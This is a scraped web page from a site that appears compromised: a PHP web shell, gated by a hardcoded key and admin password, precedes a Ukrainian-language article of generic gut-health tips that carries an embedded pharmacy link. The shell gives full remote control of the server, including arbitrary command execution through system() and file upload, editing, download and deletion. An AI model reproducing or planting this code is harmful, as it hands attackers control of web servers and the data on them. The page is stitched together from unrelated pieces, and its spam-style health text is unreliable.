if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[πŸ“‚ Home] '; echo '[πŸ–₯️ Terminal] '; echo '[πŸ’Ύ Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[πŸšͺ Logout]'; echo '
'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '
'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

βœ… Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

πŸ“‹ Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo 'πŸ“ '.$item."/\n";
                    else echo 'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'πŸ“ '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

πŸ’Ύ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." βœ“\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." βœ“\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

πŸ“ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo 'βœ… Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

πŸ–₯️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo 'βœ… Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo 'βœ… Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo 'βœ… Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo 'βœ… Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

πŸ“‚ '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
πŸ“ '.$item.'πŸ“„ '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } ΠŸΡ€Π°ΠΊΡ‚ΠΈΡ‡Π½Ρ– ΠΏΠΎΡ€Π°Π΄ΠΈ для ΠΏΠΎΠ»Ρ–ΠΏΡˆΠ΅Π½Π½Ρ Π·Π΄ΠΎΡ€ΠΎΠ²’я вашого ΠΊΠΈΡˆΠΊΡ–Π²Π½ΠΈΠΊΠ° – collectives.berlin

Your digital paradise.

collectives.berlin

ΠŸΡ€Π°ΠΊΡ‚ΠΈΡ‡Π½Ρ– ΠΏΠΎΡ€Π°Π΄ΠΈ для ΠΏΠΎΠ»Ρ–ΠΏΡˆΠ΅Π½Π½Ρ Π·Π΄ΠΎΡ€ΠΎΠ²’я вашого ΠΊΠΈΡˆΠΊΡ–Π²Π½ΠΈΠΊΠ°

Π”ΠΎΠ΄Π°ΠΉΡ‚Π΅ Π΄ΠΎ свого мСню Π±Ρ–Π»ΡŒΡˆΠ΅ ΠΊΠ»Ρ–Ρ‚ΠΊΠΎΠ²ΠΈΠ½ΠΈ, ΡΠΏΠΎΠΆΠΈΠ²Π°ΡŽΡ‡ΠΈ ΠΎΠ²ΠΎΡ‡Ρ–, Ρ„Ρ€ΡƒΠΊΡ‚ΠΈ, Ρ†Ρ–Π»ΡŒΠ½ΠΎΠ·Π΅Ρ€Π½ΠΎΠ²Ρ– ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈ Ρ‚Π° Π±ΠΎΠ±ΠΎΠ²Ρ–. Π’ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ Ρ†ΠΈΡ… ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Ρ–Π² сприяє Π΅Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΌΡƒ ΠΏΠ΅Ρ€Π΅Π²Π°Ρ€ΡŽΠ²Π°Π½Π½ΡŽ Ρ—ΠΆΡ–, mylikari.com.ua Π° Ρ‚Π°ΠΊΠΎΠΆ ΠΏΠΎΠΊΡ€Π°Ρ‰ΡƒΡ” ΠΌΡ–ΠΊΡ€ΠΎΡ„Π»ΠΎΡ€Ρƒ ΠΊΠΈΡˆΠ΅Ρ‡Π½ΠΈΠΊΠ°.

Π—ΠΌΠ΅Π½ΡˆΡ‚Π΅ споТивання ΠΎΠ±Ρ€ΠΎΠ±Π»Π΅Π½ΠΈΡ… Ρ…Π°Ρ€Ρ‡ΠΎΠ²ΠΈΡ… ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Ρ–Π². Π’ΠΎΠ½ΠΈ ΠΌΡ–ΡΡ‚ΡΡ‚ΡŒ Π±Π°Π³Π°Ρ‚ΠΎ ΡˆΠΊΡ–Π΄Π»ΠΈΠ²ΠΈΡ… Π΄ΠΎΠ±Π°Π²ΠΎΠΊ, Ρ†ΡƒΠΊΡ€Ρƒ Ρ– насичСних ΠΆΠΈΡ€Ρ–Π², Ρ‰ΠΎ Π½Π΅Π³Π°Ρ‚ΠΈΠ²Π½ΠΎ Π²ΠΏΠ»ΠΈΠ²Π°ΡŽΡ‚ΡŒ Π½Π° травлСння. Π’ΠΈΠ±ΠΈΡ€Π°ΠΉΡ‚Π΅ свіТі Ρ–Π½Π³Ρ€Π΅Π΄Ρ–Ρ”Π½Ρ‚ΠΈ Ρ‚Π° Π³ΠΎΡ‚ΡƒΠΉΡ‚Π΅ власні страви.

РСгулярно Π²ΠΆΠΈΠ²Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠ±Ρ–ΠΎΡ‚ΠΈΠΊΠΈ Ρƒ вигляді ΠΉΠΎΠ³ΡƒΡ€Ρ‚Ρ–Π² Π°Π±ΠΎ заквасок, Ρ‰ΠΎ сприяє Π²Ρ–Π΄Π½ΠΎΠ²Π»Π΅Π½Π½ΡŽ корисної ΠΌΡ–ΠΊΡ€ΠΎΡ„Π»ΠΎΡ€ΠΈ. ДослідТСння ΠΏΠΎΠΊΠ°Π·ΡƒΡŽΡ‚ΡŒ, Ρ‰ΠΎ ΠΏΡ€ΠΎΠ±Ρ–ΠΎΡ‚ΠΈΠΊΠΈ ΠΌΠΎΠΆΡƒΡ‚ΡŒ Π·ΠΌΠ΅Π½ΡˆΡƒΠ²Π°Ρ‚ΠΈ Ρ€ΠΈΠ·ΠΈΠΊ виникнСння дисбактСріозу Ρ– ΠΏΠΎΠΊΡ€Π°Ρ‰ΡƒΠ²Π°Ρ‚ΠΈ Ρ–ΠΌΡƒΠ½Ρ–Ρ‚Π΅Ρ‚.

ΠŸΠΈΠΉΡ‚Π΅ Π΄ΠΎΡΡ‚Π°Ρ‚Π½ΡŒΠΎ Π²ΠΎΠ΄ΠΈ. Норма – близько 2 Π»Ρ–Ρ‚Ρ€Ρ–Π² Π½Π° Π΄ΠΎΠ±Ρƒ. Π’ΠΎΠ΄Π° Π΄ΠΎΠΏΠΎΠΌΠ°Π³Π°Ρ” ΠΏΡ–Π΄Ρ‚Ρ€ΠΈΠΌΡƒΠ²Π°Ρ‚ΠΈ баланс Ρ€Ρ–Π΄ΠΈΠ½ Π² ΠΎΡ€Π³Π°Π½Ρ–Π·ΠΌΡ– Ρ‚Π° сприяє Π½Π°Π»Π΅ΠΆΠ½ΠΎΠΌΡƒ Ρ‚Ρ€Π°Π²Π»Π΅Π½Π½ΡŽ.

Π Π°Ρ†Ρ–ΠΎΠ½ харчування для покращСння травлСння

Π’ΠΊΠ»ΡŽΡ‡Π°ΠΉΡ‚Π΅ Π² свій Ρ€Π°Ρ†Ρ–ΠΎΠ½ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈ, Π±Π°Π³Π°Ρ‚Ρ– Π½Π° ΠΊΠ»Ρ–Ρ‚ΠΊΠΎΠ²ΠΈΠ½Ρƒ. ΠžΠ²ΠΎΡ‡Ρ–, Ρ„Ρ€ΡƒΠΊΡ‚ΠΈ, Ρ†Ρ–Π»ΡŒΠ½ΠΎΠ·Π΅Ρ€Π½ΠΎΠ²Ρ– Π·Π»Π°ΠΊΠΈ Ρ‚Π° Π±ΠΎΠ±ΠΎΠ²Ρ– ΠΏΠΎΠΊΡ€Π°Ρ‰ΡƒΡŽΡ‚ΡŒ ΠΏΠ΅Ρ€ΠΈΡΡ‚Π°Π»ΡŒΡ‚ΠΈΠΊΡƒ ΠΊΠΈΡˆΠΊΡ–Π²Π½ΠΈΠΊΠ°, Π·Π°Π±Π΅Π·ΠΏΠ΅Ρ‡ΡƒΡŽΡ‡ΠΈ Π»Π΅Π³ΠΊΠ΅ вивСдСння Π²Ρ–Π΄Ρ…ΠΎΠ΄Ρ–Π². МоТна ΠΏΠΎΡ‡Π°Ρ‚ΠΈ Π· простих Π·ΠΌΡ–Π½: Π΄ΠΎΠ΄Π°ΠΉΡ‚Π΅ Π΄ΠΎ сніданку вівсянку Π°Π±ΠΎ смузі Π· Π·Π΅Π»Π΅Π½Ρ– Ρ– Ρ„Ρ€ΡƒΠΊΡ‚Ρ–Π².

БпостСрігайтС Π·Π° споТиванням Π²ΠΎΠ΄ΠΈ. Достатня гідратація Π΄ΠΎΠΏΠΎΠΌΠ°Π³Π°Ρ” Ρ€ΠΎΠ·ΠΌβ€™ΡΠΊΡˆΠΈΡ‚ΠΈ ΡΡ‚Ρ–Π»Π΅Ρ†ΡŒ, Ρ‰ΠΎ Π·Π°ΠΏΠΎΠ±Ρ–Π³Π°Ρ” Π·Π°ΠΏΠΎΡ€Π°ΠΌ. Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Π½ΠΎ Π²ΠΈΠΏΠΈΠ²Π°Ρ‚ΠΈ Π½Π΅ мСншС 1,5-2 Π»Ρ–Ρ‚Ρ€Ρ–Π² Π²ΠΎΠ΄ΠΈ щодня. Π§Π°ΠΉ Π°Π±ΠΎ ΠΊΠΎΠΌΠΏΠΎΡ‚ Ρ‚Π°ΠΊΠΎΠΆ ΠΌΠΎΠΆΡƒΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ²Π½ΠΈΡ‚ΠΈ дСнь, Π°Π»Π΅ Π·ΠΌΠ΅Π½ΡˆΡ‚Π΅ вТивання ΠΊΠ°Π²ΠΈ Ρ‚Π° Π³Π°Π·ΠΎΠ²Π°Π½ΠΈΡ… Π½Π°ΠΏΠΎΡ—Π².

Π‘ΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Ρ„Π΅Ρ€ΠΌΠ΅Π½Ρ‚ΠΎΠ²Π°Π½Ρ– ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈ, Ρ‚Π°ΠΊΡ– як ΠΉΠΎΠ³ΡƒΡ€Ρ‚, ΠΊΠ΅Ρ„Ρ–Ρ€ Π°Π±ΠΎ ΠΊΠ²Π°ΡˆΠ΅Π½Ρ– ΠΎΠ²ΠΎΡ‡Ρ–. Π’ΠΎΠ½ΠΈ ΠΌΡ–ΡΡ‚ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Ρ–ΠΎΡ‚ΠΈΠΊΠΈ, які ΠΏΡ–Π΄Ρ‚Ρ€ΠΈΠΌΡƒΡŽΡ‚ΡŒ баланс ΠΌΡ–ΠΊΡ€ΠΎΡ„Π»ΠΎΡ€ΠΈ. ΠžΠΌΠΎΠ»ΠΎΠ΄ΠΆΡƒΡŽΡ‡ΠΈΠΉ Π΅Ρ„Π΅ΠΊΡ‚ Ρ‚Π°ΠΊΠΈΡ… ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Ρ–Π² Π·Π΄Π°Ρ‚Π΅Π½ ΠΏΠΎΠ»Ρ–ΠΏΡˆΠΈΡ‚ΠΈ травлСння Ρ‚Π° Π·ΠΌΡ–Ρ†Π½ΠΈΡ‚ΠΈ Ρ–ΠΌΡƒΠ½Ρ–Ρ‚Π΅Ρ‚.

ΠžΠ±ΠΌΠ΅ΠΆΡ‚Π΅ споТивання ΠΏΠ΅Ρ€Π΅Ρ€ΠΎΠ±Π»Π΅Π½ΠΎΡ— Ρ‚Π° Π²Π°ΠΆΠΊΠΎΡ— Ρ—ΠΆΡ–. Ѐастфуди, ΠΆΠΈΡ€Π½Ρ– страви Ρ‚Π° солодощі ΠΌΠΎΠΆΡƒΡ‚ΡŒ ΡΠΏΠΎΠ²Ρ–Π»ΡŒΠ½ΠΈΡ‚ΠΈ ΠΎΠ±Ρ€ΠΎΠ±ΠΊΡƒ Ρ—ΠΆΡ–. Π—Π°ΠΌΡ–ΡΡ‚ΡŒ Π½ΠΈΡ… намагайтСся Π²ΠΆΠΈΠ²Π°Ρ‚ΠΈ Ρ€ΠΈΠ±Ρƒ, ΠΏΡ‚ΠΈΡ†ΡŽ, Π° Ρ‚Π°ΠΊΠΎΠΆ Π·Π°ΠΏΠ΅Ρ‡Π΅Π½Ρ– Π°Π±ΠΎ ΠΏΡ€ΠΈΠ³ΠΎΡ‚ΠΎΠ²Π°Π½Ρ– Π½Π° ΠΏΠ°Ρ€Ρƒ ΠΎΠ²ΠΎΡ‡Ρ–, Π·Π°Π±Π΅Π·ΠΏΠ΅Ρ‡ΡƒΡŽΡ‡ΠΈ ΠΎΡ€Π³Π°Π½Ρ–Π·ΠΌ усіма Π½Π΅ΠΎΠ±Ρ…Ρ–Π΄Π½ΠΈΠΌΠΈ Π½ΡƒΡ‚Ρ€Ρ–Ρ”Π½Ρ‚Π°ΠΌΠΈ.

РСгулярно харчуйтСся, ΡƒΠ½ΠΈΠΊΠ°ΡŽΡ‡ΠΈ Π²Π΅Π»ΠΈΠΊΠΈΡ… ΠΏΡ€ΠΎΠΌΡ–ΠΆΠΊΡ–Π² ΠΌΡ–ΠΆ ΠΏΡ€ΠΈΠΉΠΎΠΌΠ°ΠΌΠΈ Ρ—ΠΆΡ–. Π§ΠΎΡ‚ΠΈΡ€ΠΈ-ΠΏ’ΡΡ‚ΡŒ Π½Π΅Π²Π΅Π»ΠΈΠΊΠΈΡ… ΠΏΠΎΡ€Ρ†Ρ–ΠΉ протягом дня Π΄ΠΎΠΏΠΎΠΌΠΎΠΆΡƒΡ‚ΡŒ ΠΏΡ–Π΄Ρ‚Ρ€ΠΈΠΌΡƒΠ²Π°Ρ‚ΠΈ ΠΎΠΏΡ‚ΠΈΠΌΠ°Π»ΡŒΠ½ΠΈΠΉ ΠΎΠ±ΠΌΡ–Π½ Ρ€Π΅Ρ‡ΠΎΠ²ΠΈΠ½ Ρ– Π·Π½ΠΈΠ·ΠΈΡ‚ΠΈ ΠΉΠΌΠΎΠ²Ρ–Ρ€Π½Ρ–ΡΡ‚ΡŒ пСрСїдання. Π—ΠΎΡΠ΅Ρ€Π΅Π΄ΠΆΠ΅Π½Ρ–ΡΡ‚ΡŒ Π½Π° ΠΊΠΎΠΆΠ½ΠΎΠΌΡƒ ΠΏΡ€ΠΈΠΉΠΎΠΌΡ– Ρ—ΠΆΡ– ΠΏΡ–Π΄Π²ΠΈΡ‰ΡƒΡ” ΠΉΠΌΠΎΠ²Ρ–Ρ€Π½Ρ–ΡΡ‚ΡŒ, Ρ‰ΠΎ Π²ΠΈ ΠΎΡ‚Ρ€ΠΈΠΌΠ°Ρ”Ρ‚Π΅ всі корисні Ρ€Π΅Ρ‡ΠΎΠ²ΠΈΠ½ΠΈ.

Бпособи зміцнСння ΠΌΡ–ΠΊΡ€ΠΎΡ„Π»ΠΎΡ€ΠΈ

Π’ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ Ρƒ Ρ€Π°Ρ†Ρ–ΠΎΠ½ ΠΏΡ€ΠΎΠ±Ρ–ΠΎΡ‚ΠΈΠΊΡ–Π² – ΠΎΠ΄ΠΈΠ½ Ρ–Π· Π½Π°ΠΉΠ΅Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½Ρ–ΡˆΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ–Π² ΠΏΡ–Π΄Ρ‚Ρ€ΠΈΠΌΠΊΠΈ ΠΌΡ–ΠΊΡ€ΠΎΠ±Ρ–ΠΎΠΌΡƒ. Π™ΠΎΠ³ΡƒΡ€Ρ‚ΠΈ, ΠΊΠ΅Ρ„Ρ–Ρ€, ΠΊΠΎΠΌΠ±ΡƒΡ‡Π° Ρ‚Π° Ρ„Π΅Ρ€ΠΌΠ΅Π½Ρ‚ΠΎΠ²Π°Π½Ρ– ΠΎΠ²ΠΎΡ‡Ρ–, Ρ‚Π°ΠΊΡ– як кисла капуста, Π·Π°Π±Π΅Π·ΠΏΠ΅Ρ‡ΡƒΡŽΡ‚ΡŒ ΠΎΡ€Π³Π°Π½Ρ–Π·ΠΌ корисними бактСріями. Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΡ”Ρ‚ΡŒΡΡ ΠΎΠ±ΠΈΡ€Π°Ρ‚ΠΈ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈ Π±Π΅Π· Π΄ΠΎΠ΄Π°Π½ΠΈΡ… Ρ†ΡƒΠΊΡ€Ρ–Π² Ρ‚Π° консСрвантів.

  • Π‘Ρ‚Π΅ΠΆΠΈΡ‚ΠΈ Π·Π° балансом споТивання ΠΊΠ»Ρ–Ρ‚ΠΊΠΎΠ²ΠΈΠ½ΠΈ: Π±ΠΎΠ±ΠΎΠ²Ρ–, Ρ†Ρ–Π»ΡŒΠ½ΠΎΠ·Π΅Ρ€Π½ΠΎΠ²Ρ– ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈ, Π³ΠΎΡ€Ρ–Ρ…ΠΈ Ρ‚Π° ΠΎΠ²ΠΎΡ‡Ρ– Π°ΠΊΡ‚ΠΈΠ²Ρ–Π·ΡƒΡŽΡ‚ΡŒ Ρ€ΠΎΠ±ΠΎΡ‚Ρƒ корисних Π±Π°ΠΊΡ‚Π΅Ρ€Ρ–ΠΉ.
  • Π”ΠΎΠ΄Π°Π²Π°Ρ‚ΠΈ Π΄ΠΎ Ρ€Π°Ρ†Ρ–ΠΎΠ½Ρƒ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈ, Π±Π°Π³Π°Ρ‚Ρ– Π½Π° ΠΏΡ€Π΅Π±ΠΈΠΎΡ‚ΠΈΠΊΠΈ, Ρ‚Π°ΠΊΡ– як часник, цибуля Ρ‚Π° спарТа, які ΡΠ»ΡƒΠ³ΡƒΡŽΡ‚ΡŒ Ρ…Π°Ρ€Ρ‡ΠΎΡŽ для Π²ΠΈΠ³Ρ–Π΄Π½ΠΈΡ… ΠΌΡ–ΠΊΡ€ΠΎΠΎΡ€Π³Π°Π½Ρ–Π·ΠΌΡ–Π².

ОбмСТСння споТивання ΠΎΠ±Ρ€ΠΎΠ±Π»Π΅Π½ΠΈΡ… ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Ρ–Π² Ρ‚Π° Ρ†ΡƒΠΊΡ€Ρƒ Π΄ΠΎΠΏΠΎΠΌΠΎΠΆΠ΅ ΡƒΠ½ΠΈΠΊΠ½ΡƒΡ‚ΠΈ дисбалансу ΠΌΡ–ΠΊΡ€ΠΎΡ„Π»ΠΎΡ€ΠΈ. Π¦ΡƒΠΊΠΎΡ€ сприяє росту ΡˆΠΊΡ–Π΄Π»ΠΈΠ²ΠΈΡ… Π±Π°ΠΊΡ‚Π΅Ρ€Ρ–ΠΉ, Ρ‰ΠΎ ΠΌΠΎΠΆΠ΅ Π²ΠΈΠΊΠ»ΠΈΠΊΠ°Ρ‚ΠΈ Π·Π°ΠΏΠ°Π»ΡŒΠ½Ρ– процСси. Π‘Π»Ρ–Π΄ Π·ΠΌΠ΅Π½ΡˆΠΈΡ‚ΠΈ Ρ‚Π°ΠΊΠΎΠΆ вТивання Ρ‡Π΅Ρ€Π²ΠΎΠ½ΠΎΠ³ΠΎ мяса Ρ‚Π° ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Ρ–Π² Π· високим вмістом насичСних ΠΆΠΈΡ€Ρ–Π².

  1. Π—Π°Π±Π΅Π·ΠΏΠ΅Ρ‡ΠΈΡ‚ΠΈ Π΄ΠΎΡΡ‚Π°Ρ‚Π½ΡŽ Π³Ρ–Π΄Ρ€Π°Ρ‚Π°Ρ†Ρ–ΡŽ для ΠΏΠΎΠ»Ρ–ΠΏΡˆΠ΅Π½Π½Ρ травлСння.
  2. РСгулярно займатися Ρ„Ρ–Π·ΠΈΡ‡Π½ΠΎΡŽ Π°ΠΊΡ‚ΠΈΠ²Π½Ρ–ΡΡ‚ΡŽ: спорт ΠΏΠΎΠΊΡ€Π°Ρ‰ΡƒΡ” ΠΏΠ΅Ρ€ΠΈΡΡ‚Π°Π»ΡŒΡ‚ΠΈΠΊΡƒ Ρ‚Π° загальний стан ΠΌΡ–ΠΊΡ€ΠΎΠ±Ρ–ΠΎΠΌΡƒ.

Коли Π²ΠΈΠ½ΠΈΠΊΠ°Ρ” ΠΏΠΎΡ‚Ρ€Π΅Π±Π°, Ρ€ΠΎΠ·Π³Π»ΡΠ½ΡŒΡ‚Π΅ ΠΌΠΎΠΆΠ»ΠΈΠ²Ρ–ΡΡ‚ΡŒ вТивання Π΄ΠΎΠ±Π°Π²ΠΎΠΊ Π· ΠΏΡ€ΠΎΠ±Ρ–ΠΎΡ‚ΠΈΠΊΠ°ΠΌΠΈ. Π’ΠΈΠ±ΠΈΡ€Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈ Π· ΠΏΠ΅Ρ€Π΅Π²Ρ–Ρ€Π΅Π½ΠΈΠΌΠΈ ΡˆΡ‚Π°ΠΌΠ°ΠΌΠΈ, Ρ‚Π°ΠΊΠΈΠΌΠΈ як Lactobacillus Π°Π±ΠΎ Bifidobacterium. ΠšΠΎΠ½ΡΡƒΠ»ΡŒΡ‚Π°Ρ†Ρ–Ρ Π· Π»Ρ–ΠΊΠ°Ρ€Π΅ΠΌ Ρ‡ΠΈ Π΄Ρ–Ρ”Ρ‚ΠΎΠ»ΠΎΠ³ΠΎΠΌ ΠΌΠΎΠΆΠ΅ Π΄ΠΎΠΏΠΎΠΌΠΎΠ³Ρ‚ΠΈ Π·Π½Π°ΠΉΡ‚ΠΈ ΠΎΠΏΡ‚ΠΈΠΌΠ°Π»ΡŒΠ½ΠΈΠΉ Π²Π°Ρ€Ρ–Π°Π½Ρ‚.

Nx_17bc5749dcc8

Leave a Reply

Your email address will not be published. Required fields are marked *